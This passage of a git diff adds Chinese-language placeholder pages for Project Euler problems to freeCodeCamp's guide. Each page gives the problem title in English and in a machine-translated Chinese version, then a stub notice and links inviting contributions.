+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
new file mode 100644
index 0000000000..1050eb1a7c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md
@@ -0,0 +1,9 @@
+---
+title: Tatami-Free Rooms
+localeTitle: 无榻榻米客房
+---
+## 问题256：无榻榻米房间
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-256-tatami-free-rooms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
new file mode 100644
index 0000000000..ceffd16825
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisectors
+localeTitle: 角度平分线
+---
+## 问题257：角度平分器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-257-angular-bisectors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
new file mode 100644
index 0000000000..f923009a27
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A lagged Fibonacci sequence
+localeTitle: 滞后斐波纳契数列
+---
+## 问题258：滞后的斐波那契序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-258-a-lagged-fibonacci-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
new file mode 100644
index 0000000000..a38de8cf8d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Reachable Numbers
+localeTitle: 可达数字
+---
+## 问题259：可达号码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-259-reachable-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
new file mode 100644
index 0000000000..9a70f44fe6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Reciprocal cycles
+localeTitle: 互惠周期
+---
+## 问题26：互惠周期
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-26-reciprocal-cycles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
new file mode 100644
index 0000000000..abc404c483
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game
+localeTitle: 石头游戏
+---
+## 问题260：石头游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-260-stone-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
new file mode 100644
index 0000000000..4ad08ca74c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Pivotal Square Sums
+localeTitle: Pivotal Square Sums
+---
+## 问题261：Pivotal Square Sums
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-261-pivotal-square-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
new file mode 100644
index 0000000000..caa1164077
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Mountain Range
+localeTitle: 山脉
+---
+## 问题262：山脉
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-262-mountain-range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
new file mode 100644
index 0000000000..36d81af8a3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md
@@ -0,0 +1,9 @@
+---
+title: An engineers' dream come true
+localeTitle: 工程师的梦想成真
+---
+## 问题263：工程师的梦想成真
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-263-an-engineers-dream-come-true/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
new file mode 100644
index 0000000000..5a3dc186fd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangle Centres
+localeTitle: 三角中心
+---
+## 问题264：三角中心
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-264-triangle-centres/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
new file mode 100644
index 0000000000..589dd82a5e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md
@@ -0,0 +1,9 @@
+---
+title: Binary Circles
+localeTitle: 二进制圈
+---
+## 问题265：二进制圆圈
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-265-binary-circles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
new file mode 100644
index 0000000000..98a3e611c6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo Square Root
+localeTitle: 伪平方根
+---
+## 问题266：伪平方根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-266-pseudo-square-root/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
new file mode 100644
index 0000000000..3125ba2e1d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md
@@ -0,0 +1,9 @@
+---
+title: Billionaire
+localeTitle: 亿万富翁
+---
+## 问题267：亿万富翁
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-267-billionaire/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
new file mode 100644
index 0000000000..9fb4c8c317
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting numbers with at least four distinct prime factors less than 100
+localeTitle: 计算至少有四个不同质数因子小于100的数字
+---
+## 问题268：计算至少有四个不同素因子小于100的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-268-counting-numbers-with-at-least-four-distinct-prime-factors-less-than-100/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
new file mode 100644
index 0000000000..8c27b48867
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md
@@ -0,0 +1,9 @@
+---
+title: Polynomials with at least one integer root
+localeTitle: 具有至少一个整数根的多项式
+---
+## 问题269：具有至少一个整数根的多项式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-269-polynomials-with-at-least-one-integer-root/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
new file mode 100644
index 0000000000..f497494d02
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadratic primes
+localeTitle: 二次素数
+---
+## 问题27：二次素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-27-quadratic-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
new file mode 100644
index 0000000000..446d3708bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Squares
+localeTitle: 切割方块
+---
+## 问题270：切割方块
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-270-cutting-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
new file mode 100644
index 0000000000..51d36aa992
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 1
+localeTitle: 模块化立方体，第1部分
+---
+## 问题271：模块化立方体，第1部分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-271-modular-cubes-part-1/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
new file mode 100644
index 0000000000..93ffe2ec0c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Modular Cubes, part 2
+localeTitle: 模块化立方体，第2部分
+---
+## 问题272：模块化立方体，第2部分
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-272-modular-cubes-part-2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
new file mode 100644
index 0000000000..7de4540b58
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of Squares
+localeTitle: 平方和
+---
+## 问题273：正方形的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
new file mode 100644
index 0000000000..c3d36c76a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility Multipliers
+localeTitle: 可分性乘数
+---
+## 问题274：可分性乘数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
new file mode 100644
index 0000000000..db79dd7296
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Sculptures
+localeTitle: 平衡雕塑
+---
+## 问题275：平衡雕塑
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
new file mode 100644
index 0000000000..f4ebb6e6df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Primitive Triangles
+localeTitle: 原始三角形
+---
+## 问题276：原始三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
new file mode 100644
index 0000000000..f22c0346ea
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A Modified Collatz sequence
+localeTitle: 改进的Collat​​z序列
+---
+## 问题277：修改的Collat​​z序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
new file mode 100644
index 0000000000..e786d5d020
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Linear Combinations of Semiprimes
+localeTitle: 半正定的线性组合
+---
+## 问题278：半正定的线性组合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
new file mode 100644
index 0000000000..5bda9f234b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with integral sides and an integral angle
+localeTitle: 具有整体侧面和整体角度的三角形
+---
+## 问题279：具有整体边和整体角的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
new file mode 100644
index 0000000000..d715719fd0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
@@ -0,0 +1,9 @@
+---
+title: Number spiral diagonals
+localeTitle: 数字螺旋对角线
+---
+## 问题28：数字螺旋对角线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
new file mode 100644
index 0000000000..f92b4317c2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
@@ -0,0 +1,9 @@
+---
+title: Ant and seeds
+localeTitle: 蚂蚁和种子
+---
+## 问题280：蚂蚁和种子
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
new file mode 100644
index 0000000000..72745798c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
@@ -0,0 +1,9 @@
+---
+title: Pizza Toppings
+localeTitle: Pizza Toppings
+---
+## 问题281：比萨饼浇头
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
new file mode 100644
index 0000000000..d04fbf4e1e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: The Ackermann function
+localeTitle: 阿克曼功能
+---
+## 问题282：阿克曼函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
new file mode 100644
index 0000000000..2b888e233d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer sided triangles for which the  area/perimeter ratio is integral
+localeTitle: 面积/周长比为整数的整数三角形
+---
+## 问题283：面积/周长比为整数的整数三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
new file mode 100644
index 0000000000..620a8d4bbb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Steady Squares
+localeTitle: 稳定的正方形
+---
+## 问题284：稳定的正方形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
new file mode 100644
index 0000000000..d5ae3636d7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean odds
+localeTitle: 毕达哥拉斯的赔率
+---
+## 问题285：毕达哥拉斯的赔率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
new file mode 100644
index 0000000000..4c76dc8020
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
@@ -0,0 +1,9 @@
+---
+title: Scoring probabilities
+localeTitle: 评分概率
+---
+## 问题286：评分概率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
new file mode 100644
index 0000000000..7d7f1a4dfb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadtree encoding (a simple compression algorithm)
+localeTitle: 四叉树编码（一种简单的压缩算法）
+---
+## 问题287：四叉树编码（一种简单的压缩算法）
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
new file mode 100644
index 0000000000..d155c1c337
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: An enormous factorial
+localeTitle: 一个巨大的因素
+---
+## 问题288：一个巨大的因素
+
